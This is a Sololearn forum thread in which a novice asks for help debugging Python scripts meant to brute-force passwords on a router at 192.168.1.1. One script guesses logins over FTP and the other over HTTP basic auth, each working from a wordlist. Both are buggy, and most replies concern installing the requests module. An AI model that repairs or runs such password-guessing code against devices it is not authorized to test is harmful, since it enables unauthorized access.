Another error...... Need help again :( code in comment section, error in description | Sololearn: Learn to code for FREE!
New course! Every coder should learn Generative AI!
Try a free lesson
+ 3

Another error...... Need help again :( code in comment section, error in description

Traceback (most recent call last): File "/data/user/0/ru.iiec.pydroid2/files/accomp_files/iiec_hackrun/iiec_hackrun.py", line 29, in <module> start(fakepyfile,mainpyfile) File "/data/user/0/ru.iiec.pydroid2/files/accomp_files/iiec_hackrun/iiec_hackrun.py", line 19, in start execfile(mainpyfile, __main__.__dict__) File "/data/user/0/ru.iiec.pydroid2/files/temp_iiec_codefile.py", line 3, in <module>

17th Mar 2018, 12:28 AM
1337 H4x0r
1337 H4x0r - avatar
26 Answers
+ 3
Thanks...... I will just attempt to rewrite it with the requests module 😔
17th Mar 2018, 12:50 AM
1337 H4x0r
1337 H4x0r - avatar
+ 3
Im good what bout you?
17th Mar 2018, 12:54 AM
1337 H4x0r
1337 H4x0r - avatar
+ 3
Damn, you know C++? wow, just wow. I can't learn it it is just too hard for me lol
17th Mar 2018, 12:55 AM
1337 H4x0r
1337 H4x0r - avatar
+ 3
i need to install it again tho........... damn................:'(
17th Mar 2018, 1:08 AM
1337 H4x0r
1337 H4x0r - avatar
+ 3
Meh i'll do if tomorrow
17th Mar 2018, 1:08 AM
1337 H4x0r
1337 H4x0r - avatar
+ 3
Thanks for helping me though :)
17th Mar 2018, 1:10 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
from ftplib import FTP ftp = FTP() ftp.connect("192.168.1.1", "80") username = raw_input("Enter username: ") passwrd = raw_input("Password list: ") passwrd = open(passwrd, "r").readlines() for password in passwrd: try: ftp.login(user=username, passwd=password) print "Password CRACKED : %s" % password except ftpAuthenticationError: print "INVALID Password: %s" % password
17th Mar 2018, 12:28 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
I wrote this to crack 192.168.1.1 router passwords with ftp protocol. I
17th Mar 2018, 12:30 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
i know but i entered 21 as port but nope it said connection refused...
17th Mar 2018, 12:47 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
ummmm just 1 more thing
17th Mar 2018, 12:52 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
import requests username = raw_input("Username: ") pwlist = raw_input("Wordlist: ") for password in pwlist: try: req = requests.get('http://192.168.1.1', auth = (username, pwlist)) except requests.exceptions.ContentDecodingError: print "Wrong password: %s" % password says no module named requests........... Why 😩😖
17th Mar 2018, 12:53 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
i did that
17th Mar 2018, 12:55 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
requests.py? i have no clue i just went on termux and typed in pip installation requests and then easy_install requests restarted my IDE and still nope
17th Mar 2018, 12:58 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
pip install*
17th Mar 2018, 12:58 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
i accidentally pressed the predicted word lol
17th Mar 2018, 12:59 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
okay
17th Mar 2018, 1:00 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
no command found 'pipenv'.....
17th Mar 2018, 1:01 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
:(
17th Mar 2018, 1:01 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
What If I try it on kali? I think it will work..
17th Mar 2018, 1:02 AM
1337 H4x0r
1337 H4x0r - avatar
+ 2
lol yea probably...
17th Mar 2018, 1:05 AM
1337 H4x0r
1337 H4x0r - avatar